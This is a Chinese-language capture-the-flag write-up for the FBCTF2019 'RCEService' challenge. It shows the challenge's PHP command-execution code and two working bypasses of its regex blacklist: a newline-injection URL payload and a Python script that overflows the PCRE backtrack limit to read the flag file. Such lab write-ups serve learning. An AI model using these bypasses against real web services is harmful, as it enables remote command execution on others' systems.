[FBCTF2019]RCEService  这道题只允许输入JSON格式,说白了就是键值对形式。可以{"cmd":"ls"} 探测到index.php,但是拿不到源码。网上找了一下原题,很多命令都被过滤,只留了一个‘ls’。
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
preg_match只匹配第一行,%0A是换行符,putenv('PATH=/home/rceservice/jail'); 看到最开头这里设置了环境路径,所以直接cat 是不行的,可以先看一下这个路径下有什么。这里要注意直接在URL里构造,在方框里输入会被urlencode通不过。
?cmd={%0A"cmd":"ls /home/rceservice"%0A}
 可以看到flag就在这个文件夹下,cat要用绝对路径
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
 也可以利用PCRE回溯次数的限制绕过,网上都贴的是p神的文章 https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html 大致原理是preg_match的匹配存在回溯,回溯次数上限是1000000次,超过上限后函数直接返回false。
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://challenges.fbctf.com:8085/", data={"cmd":payload})
print(res.text)

|